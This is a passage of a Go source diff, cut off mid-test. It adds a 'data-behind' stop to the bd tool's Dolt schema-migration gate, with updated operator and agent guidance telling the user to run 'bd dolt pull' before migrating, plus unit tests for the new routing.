@@ -402,20 +455,76 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { " • every other clone (another already migrated): bd bootstrap\n" + " • several machines: only ONE migrates; sync each other clone and run\n" + " bd dolt pull after the migrator pushes, before upgrading it\n" + // #6575: sharedGuidance is the blunt migrate-or-adopt block, and + // on the data-behind stop every bullet in it is measurably wrong + // — `bd migrate --force` applies the migration this stop exists + // to prevent, the `bd dolt push` after it is rejected + // non-fast-forward while the clone is still behind, and + // `bd bootstrap` no-ops against an existing workspace. The one + // command that moves the clone forward is `bd dolt pull`, and + // gateErr's own UserMessage is where that body lives, already + // branched for the fast-forward and diverged pulls. Printing + // %v (Error(), the one-line summary) and appending the bullets + // dropped it: a 1.1-era upgrader's first `bd list` and their + // `bd dolt commit` both land in the two arms below, so the first + // thing bd said to a data-behind clone was the wedge. Server + // mode's warnLenientOpenRefusal (dolt/store.go) has rendered + // UserMessage all along; these arms are the ones that lagged. + // + // The intent framing stays: the command in hand is still + // SUCCEEDING against the old schema, which UserMessage — written + // for the fatal refusal — does not say. So the mode line is + // appended to the data-behind body rather than replacing it. + body := "Warning: " + gateErr.Error() + "\n" + if gateErr.IsDataBehind() { + body = "Warning: " + gateErr.UserMessage() + } switch s.intent { - case openWorkingSetReconcile: + case openRemoteSync: + // This is the refusal's own prescribed remedy running. It gets + // the short confirmation rather than the full data-behind body: + // toleratesGateRefusal admits only the data-behind stop here, so + // the operator has necessarily just been handed that body by the + // command this pull is unblocking, and re-printing "pull first" + // at the moment they are finally doing it is noise. What it must + // never do is name `bd migrate --force`. fmt.Fprintf(os.Stderr, "Warning: %[1]v\n"+ + " Remote-sync command: continuing on schema v%[2]d without migrating, so\n"+ + " this pull can bring in the commits this clone is behind on. Re-run the\n"+ + " command you were blocked on once it completes.\n", + gateErr, gateErr.CurrentVersion) + case openWorkingSetReconcile: + if gateErr.IsDataBehind() { + fmt.Fprintf(os.Stderr, + "%[1]s"+ + " Working-set reconcile command: continuing on schema v%[2]d without\n"+ + " migrating; the commit applies to the working set at the current\n"+ + " schema. It does not resolve the schema — the pull above is what does.\n", + body, gateErr.CurrentVersion) + break + } + fmt.Fprintf(os.Stderr, + "%[1]s"+ " Working-set reconcile command: continuing on schema v%[2]d without\n"+ " migrating; the commit applies to the working set at the current\n"+ " schema."+sharedGuidance, - gateErr, gateErr.CurrentVersion) + body, gateErr.CurrentVersion) default: // openReadOnlyCommand + if gateErr.IsDataBehind() { + fmt.Fprintf(os.Stderr, + "%[1]s"+ + " Read-only command: continuing on schema v%[2]d without migrating, so\n"+ + " this read succeeds against the old schema. Writes stay blocked until\n"+ + " this clone has pulled.\n", + body, gateErr.CurrentVersion) + break + } fmt.Fprintf(os.Stderr, - "Warning: %[1]v\n"+ + "%[1]s"+ " Read-only command: continuing on schema v%[2]d without migrating.\n"+ " Writes are blocked until the schema is reconciled."+sharedGuidance, - gateErr, gateErr.CurrentVersion) + body, gateErr.CurrentVersion) } return nil } @@ -426,7 +535,7 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { // controls; schema.MigrateUpWithLock requires a sql-server session lock. if _, err := schema.MigrateUp(ctx, conn); err != nil { var dirtyErr *schema.DirtyTablesError - if s.intent != openStrict && errors.As(err, &dirtyErr) { + if s.toleratesMigrationRefusal() && errors.As(err, &dirtyErr) { // The guard exists to keep dirty user data from being entangled // with a migration, but its documented recovery - committing the // working set - also opens the store and would otherwise hit @@ -451,7 +560,7 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { return nil } var rekeyErr *schema.DependencyRekeyConflictError - if s.intent != openStrict && errors.As(err, &rekeyErr) { + if s.toleratesMigrationRefusal() && errors.As(err, &rekeyErr) { // Same principle for the dependency re-key's refusal (#5268): it is // a convergence repair, not a precondition for reading, and before // that pass existed these clones opened fine. Bricking 'bd list' and diff --git a/internal/storage/embeddeddolt/store_stub.go b/internal/storage/embeddeddolt/store_stub.go index 87b046245..db5efd66f 100644 --- a/internal/storage/embeddeddolt/store_stub.go +++ b/internal/storage/embeddeddolt/store_stub.go @@ -40,3 +40,8 @@ func OpenForReadOnlyCommand(_ context.Context, _, _, _ string) (*EmbeddedDoltSto func OpenForWorkingSetReconcile(_ context.Context, _, _, _ string) (*EmbeddedDoltStore, error) { return nil, errNoCGO } + +// OpenForRemoteSync returns an error when CGO is not enabled. +func OpenForRemoteSync(_ context.Context, _, _, _ string) (*EmbeddedDoltStore, error) { + return nil, errNoCGO +} diff --git a/internal/storage/schema/remote_migrate_gate.go b/internal/storage/schema/remote_migrate_gate.go index 15848928b..5a881d7fe 100644 --- a/internal/storage/schema/remote_migrate_gate.go +++ b/internal/storage/schema/remote_migrate_gate.go @@ -118,6 +118,15 @@ type RemoteMigrateGateError struct { // (the gate staying enabled by default). Set only when // FallbackReason == fallbackReasonUnparseableEnv. UnrecognizedSmartGateEnv string + + // DataDiverged distinguishes the two shapes of the data-behind stop + // (gastownhall/beads#6575). Both are "this clone is missing commits the + // remote has", and both take the same remedy COMMAND — `bd dolt pull` — + // but false means the clone has no commits of its own so the pull is a + // pure fast-forward, and true means it has both, so the pull MERGES and + // can report conflicts to resolve first. Set only when + // FallbackReason == fallbackReasonDataBehind; meaningless otherwise. + DataDiverged bool } const ( @@ -161,8 +170,37 @@ const ( // auto-executing it would promote the schema for every co-resident client. // Structural, not a routing outcome — it outranks the other reasons. fallbackReasonSharedStore = "shared-store" + // fallbackReasonDataBehind (gastownhall/beads#6575): schema parity with + // the cached remote ref held, but this clone's local HEAD is a strict + // ancestor of that ref — it is behind the remote in data commits it has + // not pulled, so it is not the first-mover the smart gate may + // auto-resolve. Unlike the reasons above, this one has a one-command + // remedy the operator can run right now (`bd dolt pull`), after which the + // migrate is a true first-mover. + fallbackReasonDataBehind = "data-behind" ) +// DataBehindRemedyCommand is the one command that moves a data-behind clone +// forward, and the single source for every surface that names it: the human +// body and note, the agent directive, the JSON option, and the store-open +// classification that has to let this command through the very refusal that +// prescribes it (gastownhall/beads#6575 F1 — a refusal whose documented +// recovery is blocked by the refusal is a fence with no gate; the #4566 +// precedent for `bd dolt commit` is the same shape). +const DataBehindRemedyCommand = "bd dolt pull" + +// IsDataBehind reports whether this refusal is the #6575 data-behind stop: +// the clone is level with the cached remote ref on schema but missing commits +// the ref has, so the pending migration must not be applied until it pulls. +// +// It is exported because the recovery for this particular stop is itself a +// store-opening command (DataBehindRemedyCommand), so the mode-specific store +// opens have to recognize this reason — and ONLY this reason — to open +// leniently for it. Every other refusal stays fatal on those opens. +func (e *RemoteMigrateGateError) IsDataBehind() bool { + return e != nil && e.Decision == "" && e.FallbackReason == fallbackReasonDataBehind +} + func (e *RemoteMigrateGateError) Error() string { unit := "migrations" if e.Pending == 1 { @@ -229,15 +267,97 @@ func (e *RemoteMigrateGateError) fallbackReasonNote() string { why = SmartGateEnv + "=" + e.UnrecognizedSmartGateEnv + " is set but was not recognized (only boolean values enable/disable it), so it stayed enabled by default but still could not resolve this stop" case fallbackReasonSharedStore: why = "this store is shared (dolt sql-server); the first-mover auto-migrate is disabled here because it would lock out co-resident clients (#5920)" + case fallbackReasonDataBehind: + why = "this clone is behind the remote in data commits it has not pulled, so it is not the first-mover it looks like on schema alone — migrating in place would diverge from those commits, and can leave every later `bd dolt pull` refusing to merge (#6575, #6368). Run `" + DataBehindRemedyCommand + "` first, then retry: this clone is then the true first-mover it looked like" + // Only promise the retry resolves itself where it actually does. On a + // shared store the first-mover auto-migrate is suppressed regardless + // (fallbackReasonSharedStore, #5920), so pulling clears THIS stop but + // the retry still needs explicit consent — saying otherwise would send + // the operator in a loop. + if !e.Shared { + why += " and the migrate proceeds on its own" + } else { + // #5920's consequence has to travel with this reason too. Before + // this arm existed a shared, data-behind store reported + // fallbackReasonSharedStore, whose note names the co-resident + // lockout; data-behind now outranks it, so without this clause the + // operator loses the warning that promoting the schema on a shared + // server locks out every co-resident client still on an older bd. + why += " — but on this shared store the migrate still needs explicit consent (`" + SharedConsentCommand + "`), because it promotes the schema for every co-resident bd client at once and clients still on an older binary will refuse this database until they are upgraded (#5920)" + } default: return "" } return "\n Smart gate (#4516): " + why + ".\n" } +// dataBehindBody is the guidance block for the #6575 data-behind stop. It +// REPLACES the blunt migrate-or-adopt body rather than decorating it, because +// in this state both of that body's options are wrong and were measured wrong: +// `bd migrate --force` is exactly the migration this stop exists to prevent +// (and the `bd dolt push` that follows it is rejected as a non-fast-forward, +// since the clone is still behind), and `bd bootstrap` against an existing +// workspace reports "Database already exists … Nothing to do." and exits 0. +// The one command that moves this clone forward is the pull. +func (e *RemoteMigrateGateError) dataBehindBody() string { + body := "\n" + + " This clone is BEHIND the remote: the remote has commits this clone has not\n" + + " pulled. On schema alone it looks like a first-mover, which is why the line\n" + + " above reads the way it does — but applying the pending migration here would\n" + + " put new schema commits on a history that is missing those commits. Once a\n" + + " migration moves a tracked table onto Dolt's ignore plane (0062's `events`),\n" + + " every later `" + DataBehindRemedyCommand + "` refuses to merge and this clone can no longer\n" + + " fetch the commits it was already behind on (#6575, #6368).\n" + + "\n" + + " Pull first — that is the whole remedy:\n" + + " " + DataBehindRemedyCommand + "\n" + if e.DataDiverged { + body += "" + + " This clone also has commits of its own, so the pull MERGES rather than\n" + + " fast-forwards. If it reports conflicts, resolve them and let the pull\n" + + " finish before retrying (`" + DataBehindRemedyCommand + " --strategy ours|theirs` decides them\n" + + " in bulk on embedded storage; `bd conflicts resolve` on a server store).\n" + } else { + body += "" + + " This clone has no commits of its own, so the pull is a pure fast-forward:\n" + + " nothing local is merged or discarded.\n" + } + body += "" + + "\n" + + " Then re-run what you just ran.\n" + if e.Shared { + // #5920: on a shared store the first-mover auto-migrate stays + // suppressed after the pull, so the retry needs the consent verb. + // Saying "it proceeds on its own" here would loop the operator. + body += "" + + " This database is served to co-resident bd clients, so the migration itself\n" + + " still needs explicit consent afterwards — it promotes the schema for EVERY\n" + + " client at once, and clients still on an older bd will refuse this database\n" + + " until they are upgraded (#5920):\n" + + " " + SharedConsentCommand + "\n" + + " (" + SharedConsentCommandGlobal + " for the shared global database)\n" + } else { + body += "" + + " The migration then runs on its own: with nothing left to pull, this clone\n" + + " is the first-mover it looked like.\n" + } + body += "" + + "\n" + + " Do NOT use `bd migrate --force` to get past this. It applies the migration\n" + + " while this clone is still behind — the exact state this stop exists to\n" + + " prevent — and the `bd dolt push` that would follow is rejected as a\n" + + " non-fast-forward, because the clone is still missing the remote's commits.\n" + return body +} + // userBody returns the decision-specific guidance block. The default (blunt // #4515) body is byte-identical to before the smart gate existed. func (e *RemoteMigrateGateError) userBody() string { + // The #6575 stop is a blunt stop (empty Decision) with a remedy the blunt + // body contradicts, so it is keyed on the fallback reason instead. + if e.IsDataBehind() { + return e.dataBehindBody() + } switch e.Decision { case gateDecisionAdopt: return "\n" + @@ -332,6 +452,35 @@ func (e *RemoteMigrateGateError) EscapeHint() string { // to the operator and let them choose, per the AgentDiagnostic contract ("Go // observes and reports, the agent decides and acts"). func (e *RemoteMigrateGateError) AgentDirective() string { + // #6575: the data-behind stop is the one refusal in this type with a + // single, safe, non-destructive, auto-runnable remedy — pulling commits + // this clone is already behind on takes nothing away and needs no + // cross-clone coordination. Saying so is the point: the default directive + // below sends the agent to remote_migrate_gate.options, and if those + // options were the blunt migrate-or-adopt pair the agent would surface + // the migration this stop exists to prevent (whose follow-up push is + // rejected non-fast-forward anyway) and a bootstrap that no-ops. + if e.IsDataBehind() { + d := "Pull, do NOT migrate: this clone is level with the remote on schema but is missing commits the remote " + + "has, so the pending migration would land on a history without them and can wedge every later " + + "`" + DataBehindRemedyCommand + "` (#6575, #6368). The remedy is `" + DataBehindRemedyCommand + "`, which is in " + + "remote_migrate_gate.options as the single option." + if e.DataDiverged { + d += " This clone also has commits of its own, so that pull MERGES rather than fast-forwards and may " + + "report conflicts to resolve before it completes — surface a conflict outcome to the operator " + + "rather than forcing past it." + } else { + d += " This clone has no commits of its own, so that pull is a pure fast-forward and discards nothing." + } + if e.Shared { + d += " After the pull the migration still needs the operator's explicit consent (" + SharedConsentCommand + + "): this database is shared with co-resident bd clients and migrating promotes the schema for all of " + + "them at once (#5920). Do NOT auto-run it." + } else { + d += " After the pull, re-running the original command migrates on its own; nothing else is needed." + } + return d + } switch e.Decision { case gateDecisionAdopt: return "Adopt, do NOT migrate: the remote is already migrated, so migrating here would fork it (#4259). " + @@ -392,6 +541,39 @@ func (e *RemoteMigrateGateError) Options() []GateOption { Commands: []string{"bd bootstrap"}, Risk: "re-clones and replaces the local database; push or export unpushed work first or it is lost" + sharedRisk, } + // #6575: exactly ONE option, and it is the pull. The blunt pair below is + // actively wrong in this state — `bd migrate --force` is the bug, its + // `bd dolt push` is rejected non-fast-forward while the clone is still + // behind, and `bd bootstrap` no-ops against an existing workspace — so + // offering them here would hand an agent two dead ends and no exit. + // Unlike every other option in this type it carries no precondition the + // operator has to confirm: pulling commits this clone is already behind on + // is not a coordination decision. + if e.IsDataBehind() { + risk := "none — a pure fast-forward; this clone has no commits of its own, so nothing local is merged or discarded" + when := "always, for this stop: this clone is behind the remote and must pull before it may migrate" + if e.DataDiverged { + risk = "this clone also has commits of its own, so the pull MERGES; it can report conflicts that must be resolved before it completes (bd dolt pull --strategy ours|theirs on embedded storage, bd conflicts resolve on a server store). Nothing is discarded without that resolution" + } + pull := GateOption{ + ID: "pull-first", + When: when, + Commands: []string{DataBehindRemedyCommand}, + Risk: risk, + } + if e.Shared { + // The pull itself is still safe; what the shared store changes is + // what happens AFTER it, so the consent step becomes a second + // option rather than a footnote on the first (#5920). + return []GateOption{pull, { + ID: "migrate-shared-after-pulling", + When: "the pull above has completed AND every co-resident bd client of this server is upgraded to this binary (confirmed with the operator)", + Commands: []string{SharedConsentCommand}, + Risk: "co-resident clients still on an older bd will refuse this database until upgraded; running it before the pull completes is the wedge this stop prevents", + }} + } + return []GateOption{pull} + } switch e.Decision { case gateDecisionAdopt: // Remote is confirmed ahead: migrate is not a valid path, only adopt. @@ -584,6 +766,10 @@ func checkRemoteMigrateGate(ctx context.Context, db DBConn, remoteName string, e // follow-up). fallbackReason := "" unrecognizedSmartGateEnv := "" + // dataDiverged records which shape of the #6575 data-behind stop fired, so + // the guidance names the pull the operator will actually get (a merge, not + // a fast-forward). Meaningless unless fallbackReason is data-behind. + dataDiverged := false if SmartGateEnabled() { decision, skew, ref, atLatest := routeSmartGate(ctx, db, current, latest, remoteName, adopt) switch decision { @@ -669,6 +855,25 @@ func checkRemoteMigrateGate(ctx context.Context, db DBConn, remoteName string, e Decision: gateDecisionForkSkew, SkewVersions: skew, } + case smartDataBehind, smartDataDiverged: + // gastownhall/beads#6575: schema parity held but this clone is + // missing commits the cached remote ref has. Stop, and carry the + // pull-first remedy on every surface (body, note, agent directive, + // options) — the blunt migrate-or-adopt guidance is wrong here, + // not merely incomplete. + // + // This reason is reported even on a shared store, where + // fallbackReasonSharedStore would otherwise outrank it: that one + // says the gate WOULD have resolved and was overruled, which is + // not true here. The gate refuses this state on its own merits, + // and the pull-first remedy is a precondition the operator has to + // satisfy either way; #5920's co-resident consequence is folded + // into the data-behind guidance instead of being lost with the + // reason it outranks. + fallbackReason = fallbackReasonDataBehind + // The two verdicts share the reason and the remedy command; they + // differ in whether that command fast-forwards or merges. + dataDiverged = decision == smartDataDiverged case smartBelowFloor: fallbackReason = fallbackReasonBelowFloor case smartUndetermined: @@ -679,9 +884,15 @@ func checkRemoteMigrateGate(ctx context.Context, db DBConn, remoteName string, e // fact for the operator than the technical routing outcome, so it // takes priority as the surfaced reason. Not over shared-store: that // one is structural (the gate WOULD have resolved, and was overruled), - // so fixing the env value would not change the outcome. + // so fixing the env value would not change the outcome. Not over + // data-behind either, for the same reason (gastownhall/beads#6575): + // that stop stands whatever BD_SMART_GATE says, and it is the one + // reason carrying a remedy the operator can act on right now, so + // burying it behind an env-value complaint would cost them the fix. envState, envValue := smartGateEnvValue() - if envState == smartGateEnvUnparseable && fallbackReason != fallbackReasonSharedStore { + if envState == smartGateEnvUnparseable && + fallbackReason != fallbackReasonSharedStore && + fallbackReason != fallbackReasonDataBehind { fallbackReason = fallbackReasonUnparseableEnv unrecognizedSmartGateEnv = envValue } @@ -697,6 +908,7 @@ func checkRemoteMigrateGate(ctx context.Context, db DBConn, remoteName string, e FallbackReason: fallbackReason, Shared: shared, UnrecognizedSmartGateEnv: unrecognizedSmartGateEnv, + DataDiverged: dataDiverged, } } diff --git a/internal/storage/schema/smart_remote_migrate_gate.go b/internal/storage/schema/smart_remote_migrate_gate.go index 46cca35e7..ab26d88a2 100644 --- a/internal/storage/schema/smart_remote_migrate_gate.go +++ b/internal/storage/schema/smart_remote_migrate_gate.go @@ -12,9 +12,10 @@ import ( // gate would fire, it consults the remote's cached schema state and // auto-resolves the one provably-safe case (first-mover migrate), while still // stopping — with sharper guidance — on the cases that genuinely need a human. -// Every fallback path (unreadable remote state, below the convergence floor) -// degrades to the blunt #4515 block, so the default is never less safe than -// the blunt gate; it only resolves cases the blunt gate cannot distinguish. +// Every fallback path (unreadable remote state, below the convergence floor, +// a clone behind the remote in data commits) degrades to the blunt #4515 +// block, so the default is never less safe than the blunt gate; it only +// resolves cases the blunt gate cannot distinguish. // // Set BD_SMART_GATE=0 (or any boolean false) to opt out and keep the blunt // #4515 behavior unconditionally: any remote-backed database with pending @@ -128,6 +129,28 @@ const ( // a TOCTOU miss, or the merge itself refusing) falls through to the // plain smartAdopt directive instead, never forcing the write. smartAdoptFastForward + // smartDataBehind (gastownhall/beads#6575): schema parity with the cached + // remote ref holds — the first-mover precondition — but local HEAD is + // BEHIND that ref with no local commits of its own (ahead == 0, + // behind >= 1), so this clone is missing DATA commits it has not pulled. + // Migrating in place here mints local-only schema commits on a HEAD that + // lacks those commits; when the pending batch moves a tracked table onto + // the dolt_ignore plane (0062's events), every subsequent `bd dolt pull` + // then refuses (#6368) and the clone can no longer fetch the very commits + // it was behind on. Stop, and direct the operator to pull first — a pure + // fast-forward in this shape — after which the same open auto-migrates as + // a true first-mover. + smartDataBehind + // smartDataDiverged is smartDataBehind's other shape: behind >= 1 AND + // ahead >= 1, i.e. this clone has unpushed local commits as well as + // unpulled remote ones. It reaches the identical wedge — the pending + // migration lands on a HEAD missing the remote's commits either way — so + // it stops for the same reason. It is a separate verdict only because the + // remedy behaves differently: `bd dolt pull` MERGES here rather than + // fast-forwarding, and can report conflicts the operator has to resolve + // before it completes. bd auto-commits every write, so this is the + // ORDINARY multi-machine shape, not an exotic one. + smartDataDiverged ) // FastForwardAdopter injects the driver-side fast-forward primitives that @@ -149,6 +172,20 @@ type FastForwardAdopter struct { // IsStrictAncestor reports whether local HEAD is a strict ancestor of // ref (versioncontrolops.LocalIsStrictAncestorOf). IsStrictAncestor func(ctx context.Context, db DBConn, ref string) (bool, error) + // AheadBehind reports the raw commit counts behind IsStrictAncestor: + // how many commits local HEAD has that ref lacks, and how many ref has + // that local lacks (versioncontrolops.LocalAheadBehind). The + // data-behind stop (gastownhall/beads#6575) needs behind >= 1 whatever + // ahead is, which IsStrictAncestor's ahead == 0 && behind >= 1 cannot + // express, and needs to tell the two shapes apart so the remedy it + // prints matches the pull the operator will actually get (fast-forward + // vs merge). + // + // A nil AheadBehind is safe: localDataBehind falls back to + // IsStrictAncestor, which reports only the ahead == 0 shape — the + // narrower, pre-#6575-widening behavior — so an injection site that + // wires only the older callback keeps working. + AheadBehind func(ctx context.Context, db DBConn, ref string) (ahead, behind int, err error) // WorkingSetClean reports whether the working set has no uncommitted // changes, dolt-ignored wisp tables excepted // (versioncontrolops.WorkingSetClean). @@ -194,6 +231,54 @@ func routeAdoptFastForward(ctx context.Context, db DBConn, ref string, adopt *Fa return true } +// localDataBehind reports whether local HEAD is missing commits that ref has +// (behind >= 1) and, when it is, whether the clone ALSO has commits of its own +// that ref lacks (ahead >= 1 — the diverged shape). It is the equal-version +// path's only ancestry fact (gastownhall/beads#6575). +// +// The predicate is behind >= 1 regardless of ahead, not the narrower strict- +// ancestor relation the remote-ahead path uses. Both shapes reach the same +// wedge: the migration lands on a HEAD missing the remote's commits either +// way, and the ignore-plane flip then refuses every later `bd dolt pull`. +// Since bd auto-commits every write, "has local commits AND is behind" is the +// ordinary multi-machine state, so restricting the stop to ahead == 0 would +// leave the larger half of the affected cohort unprotected. A level clone +// (behind == 0) and a purely-ahead clone (behind == 0, ahead >= 1) are still +// permitted — they are genuine first-movers with nothing to pull. +// +// adopt may be nil, or wire neither callback (the shared unit-of-work +// provider's injection site) — then there is no ancestry fact to read and +// routing stays exactly as it was before this check existed. With only +// IsStrictAncestor wired, the fact narrows to the ahead == 0 shape; the +// diverged shape then reads "not behind", which is the pre-widening +// behavior rather than a new hazard. +// +// Unlike routeAdoptFastForward, a query error is NOT folded into "false": +// here false means "permit the more automatic action", so an inconclusive +// read has to be reported to the caller and degrade to the blunt block. +func localDataBehind(ctx context.Context, db DBConn, ref string, adopt *FastForwardAdopter) (behind bool, diverged bool, err error) { + if adopt == nil { + return false, false, nil + } + if adopt.AheadBehind != nil { + ahead, behindCount, err := adopt.AheadBehind(ctx, db, ref) + if err != nil { + return false, false, err + } + return behindCount >= 1, behindCount >= 1 && ahead >= 1, nil + } + if adopt.IsStrictAncestor == nil { + return false, false, nil + } + ancestor, err := adopt.IsStrictAncestor(ctx, db, ref) + if err != nil { + return false, false, err + } + // A strict ancestor is by definition ahead == 0, so this fallback can + // only ever report the non-diverged shape. + return ancestor, false, nil +} + // canAutoFastForward reports whether adopt is actually able to EXECUTE the // fast-forward once the read-side preconditions (routeAdoptFastForward) are // satisfied: a FastForward callback must be wired, and the store must not be @@ -319,6 +404,29 @@ func routeSmartGate(ctx context.Context, db DBConn, current, latest int, remoteN // remote == local on every shared version and at the same max version: a first-mover. if current >= LastNonDeterministicMigration { + // Schema parity is not proof of first-mover status + // (gastownhall/beads#6575). It says nothing about where this clone's + // branch sits relative to the ref the hashes just came from: a clone + // that is level on schema and behind on DATA satisfies every + // precondition above. Read the ancestry fact the caller already wired + // for the remote-ahead path before granting the automatic migrate. + behind, diverged, err := localDataBehind(ctx, db, ref, adopt) + if err != nil { + // Inconclusive ancestry read on a ref whose content hashes just + // resolved. Degrade to the blunt block rather than assume level: + // the gate's contract is that every fallback is at least as safe + // as #4515. + return smartUndetermined, nil, "", false + } + if behind { + // Same stop, same remedy command; the two verdicts differ only in + // what that command DOES (fast-forward vs merge), which the + // operator-facing text has to get right. + if diverged { + return smartDataDiverged, nil, ref, false + } + return smartDataBehind, nil, ref, false + } return smartAutoMigrate, nil, ref, false } return smartBelowFloor, nil, ref, false diff --git a/internal/storage/schema/smart_remote_migrate_gate_test.go b/internal/storage/schema/smart_remote_migrate_gate_test.go index 98a3e8c41..55375c8c1 100644 --- a/internal/storage/schema/smart_remote_migrate_gate_test.go +++ b/internal/storage/schema/smart_remote_migrate_gate_test.go @@ -416,6 +416,17 @@ type fakeAdopter struct { ffCalls int readOnly bool + + // aheadResult/behindResult/aheadBehindErr back the AheadBehind callback, + // counted by aheadBehindCalls. Wired into the adopter only when + // withAheadBehind is true, so the tests that leave it off keep exercising + // the IsStrictAncestor-only fallback an injection site that never wired + // the newer callback would take (gastownhall/beads#6575). + withAheadBehind bool + aheadResult int + behindResult int + aheadBehindErr error + aheadBehindCalls int } func (f *fakeAdopter) adopter() *FastForwardAdopter { @@ -436,6 +447,12 @@ func (f *fakeAdopter) adopter() *FastForwardAdopter { return f.ffErr } } + if f.withAheadBehind { + a.AheadBehind = func(_ context.Context, _ DBConn, _ string) (int, int, error) { + f.aheadBehindCalls++ + return f.aheadResult, f.behindResult, f.aheadBehindErr + } + } return a } @@ -800,6 +817,491 @@ func TestSmartGateRoutingFastForward(t *testing.T) { }) } +// TestSmartGateRoutingDataBehind covers the equal-version path's ancestry +// check (gastownhall/beads#6575): schema parity with the cached remote ref is +// not proof of first-mover status, because a clone can be level on schema and +// behind on data commits. These subtests pin the ROUTING around canned +// ancestry results; the genuinely data-behind clone — two real clones, a +// file:// remote, a real DOLT_FETCH, the ancestry fact measured rather than +// stubbed — lives in internal/storage/dolt +// (TestDoltNew_SmartRemoteMigrateGate_DataBehindBlocks_RealDolt). +func TestSmartGateRoutingDataBehind(t *testing.T) { + floor := LastNonDeterministicMigration + + t.Run("data-behind clone: blunt block naming the pull-first remedy", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor - 1: "h1", floor: "h2"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("a data-behind clone must not auto-migrate, got %v", err) + } + if gateErr.Decision != "" { + t.Errorf("Decision = %q, want \"\" (the blunt #4515 stop — no new JSON/agent contract)", gateErr.Decision) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if !strings.Contains(gateErr.UserMessage(), "Run `bd dolt pull` first") { + t.Errorf("UserMessage should name the pull-first remedy:\n%s", gateErr.UserMessage()) + } + if fa.ancestorCalls != 1 { + t.Errorf("IsStrictAncestor calls = %d, want 1", fa.ancestorCalls) + } + // Deliberately NOT part of the equal-version precondition: a dirty + // working set on a level clone is not the #6575 wedge state, and + // refusing it would broaden the gate beyond the field-hit bug. + if fa.cleanCalls != 0 { + t.Errorf("WorkingSetClean calls = %d, want 0 (the equal-version path must not require a clean working set)", fa.cleanCalls) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("level clone: still the safe first-mover auto-migrate", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + // ancestorResult false covers BOTH non-behind shapes the predicate + // collapses: HEAD == ref (level) and ahead > 0 (unpushed local + // commits). Neither is refused. + fa := &fakeAdopter{ancestorResult: false, cleanResult: true} + if err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()); err != nil { + t.Fatalf("a clone that is not behind must still auto-migrate, got %v", err) + } + if fa.ancestorCalls != 1 { + t.Errorf("IsStrictAncestor calls = %d, want 1", fa.ancestorCalls) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("ancestry read error: blunt block, never the automatic migrate", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorErr: errors.New("dolt_log AS OF: branch not found")} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("an inconclusive ancestry read must fall back to the blunt block, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonUnreadableState { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonUnreadableState) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("no adopter wired: routing is unchanged", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + // The unit-of-work provider's injection site passes nil (and is + // shared, where the first-mover arm is suppressed anyway). With no + // ancestry fact to read, the verdict stays exactly what it was. + if err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, nil); err != nil { + t.Fatalf("a nil adopter must not change the first-mover verdict, got %v", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("below the convergence floor: outcome and reads unchanged", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + current := floor - 1 + expectSmartFiringGate(mock, current) + hashes := map[int]string{current: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected gate error, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonBelowFloor { + t.Errorf("FallbackReason = %q, want %q (below-floor outcomes must stay byte-identical)", gateErr.FallbackReason, fallbackReasonBelowFloor) + } + if fa.ancestorCalls != 0 { + t.Errorf("IsStrictAncestor calls = %d, want 0 (the ancestry read must not fire below the floor)", fa.ancestorCalls) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("shared store: data-behind outranks the shared-store suppression reason", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + 